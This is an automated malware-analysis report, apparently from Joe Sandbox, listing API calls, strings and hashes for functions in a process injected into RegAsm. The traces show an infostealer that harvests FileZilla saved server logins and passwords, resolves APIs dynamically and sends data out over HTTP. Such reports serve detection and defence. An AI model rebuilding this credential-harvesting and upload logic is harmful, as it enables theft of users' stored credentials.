Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,0141F7B0), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,01423F18), ref: 0040796B
lstrcat.KERNEL32(?,01424158), ref: 0040797F
lstrcat.KERNEL32(?,014240C8), ref: 00407992
lstrcat.KERNEL32(?,01423FF0), ref: 004079A6
lstrcat.KERNEL32(?,0141F838), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,01423F18), ref: 00407A09
lstrcat.KERNEL32(?,01424158), ref: 00407A1D
lstrcat.KERNEL32(?,014240C8), ref: 00407A31
lstrcat.KERNEL32(?,01423FF0), ref: 00407A44
lstrcat.KERNEL32(?,01424648), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,01423F18), ref: 00407AA8
lstrcat.KERNEL32(?,01424158), ref: 00407ABB
lstrcat.KERNEL32(?,014240C8), ref: 00407ACF
lstrcat.KERNEL32(?,01423FF0), ref: 00407AE3
lstrcat.KERNEL32(?,014246B0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,01423F18), ref: 00407B46
lstrcat.KERNEL32(?,01424158), ref: 00407B5A
lstrcat.KERNEL32(?,014240C8), ref: 00407B6D
lstrcat.KERNEL32(?,01423FF0), ref: 00407B81
lstrcat.KERNEL32(?,01424718), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,01423F18), ref: 00407BE4
lstrcat.KERNEL32(?,01424158), ref: 00407BF8
lstrcat.KERNEL32(?,014240C8), ref: 00407C0C
lstrcat.KERNEL32(?,01423FF0), ref: 00407C1F
lstrcat.KERNEL32(?,01424780), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,01423F18), ref: 00407C83
lstrcat.KERNEL32(?,01424158), ref: 00407C96
lstrcat.KERNEL32(?,014240C8), ref: 00407CAA
lstrcat.KERNEL32(?,01423FF0), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(33827020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(33827020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(33827020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(33827020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(33827020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(33827020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(33827020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,01424BB8), ref: 00407E4B
lstrcat.KERNEL32(?,01422FD8), ref: 00407E5E
lstrlenA.KERNEL32(33827020), ref: 00407E6B
lstrlenA.KERNEL32(33827020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

browser: FileZilla, xrefs: 00410399
password: , xrefs: 0041043B
login: , xrefs: 0041040A
<Pass encoding="base64">, xrefs: 0041029A
url: , xrefs: 004103B7
<Host>, xrefs: 004101BC
<Port>, xrefs: 00410206
<User>, xrefs: 00410250
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
profile: null, xrefs: 004103A8

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,0140F410), ref: 004192B1
GetProcAddress.KERNEL32(77190000,0140F530), ref: 004192CA
GetProcAddress.KERNEL32(77190000,0140F248), ref: 004192E2
GetProcAddress.KERNEL32(77190000,0140F290), ref: 004192FA
GetProcAddress.KERNEL32(77190000,0140F2A8), ref: 00419313
GetProcAddress.KERNEL32(77190000,01413180), ref: 0041932B
GetProcAddress.KERNEL32(77190000,014140C0), ref: 00419343
GetProcAddress.KERNEL32(77190000,01413FE0), ref: 0041935C
GetProcAddress.KERNEL32(77190000,0140F458), ref: 00419374
GetProcAddress.KERNEL32(77190000,0140F428), ref: 0041938C
GetProcAddress.KERNEL32(77190000,0140F440), ref: 004193A5
GetProcAddress.KERNEL32(77190000,0140F2C0), ref: 004193BD
GetProcAddress.KERNEL32(77190000,01413EC0), ref: 004193D5
GetProcAddress.KERNEL32(77190000,0140F560), ref: 004193EE
GetProcAddress.KERNEL32(77190000,0140F5A8), ref: 00419406
GetProcAddress.KERNEL32(77190000,01413EE0), ref: 0041941E
GetProcAddress.KERNEL32(77190000,0140F5C0), ref: 00419437
GetProcAddress.KERNEL32(77190000,0140F5F0), ref: 0041944F
GetProcAddress.KERNEL32(77190000,01413F60), ref: 00419467
GetProcAddress.KERNEL32(77190000,0140F608), ref: 00419480
GetProcAddress.KERNEL32(77190000,014141C0), ref: 00419498
LoadLibraryA.KERNEL32(0140F5D8,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(0140F548,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(0140F578,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(0140F590,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(0140CAF0,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(76850000,0141A900), ref: 00419512
GetProcAddress.KERNEL32(77040000,0141A828), ref: 00419533
GetProcAddress.KERNEL32(77040000,0141A840), ref: 0041954B
GetProcAddress.KERNEL32(75A10000,0141A6A8), ref: 0041956D
GetProcAddress.KERNEL32(75690000,014140E0), ref: 0041958E
GetProcAddress.KERNEL32(776F0000,014131E0), ref: 004195AF
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,01424A38), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,01424A78,?,01423F78,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01424B88,00000000,?,01423968,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
------, xrefs: 0040568B
", xrefs: 00405614
------, xrefs: 00405549
------, xrefs: 004052E7
", xrefs: 00405756
", xrefs: 004054D2
------, xrefs: 00405407

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,01424A38), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01424BC8,00000000,?,01423968,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,01424A78,?,01423F78,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405D9C
", xrefs: 00405E66
", xrefs: 00405D25
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405AE6
XA, xrefs: 004060CA
------, xrefs: 00405C5B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,0141ABF0,0141ABD0), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
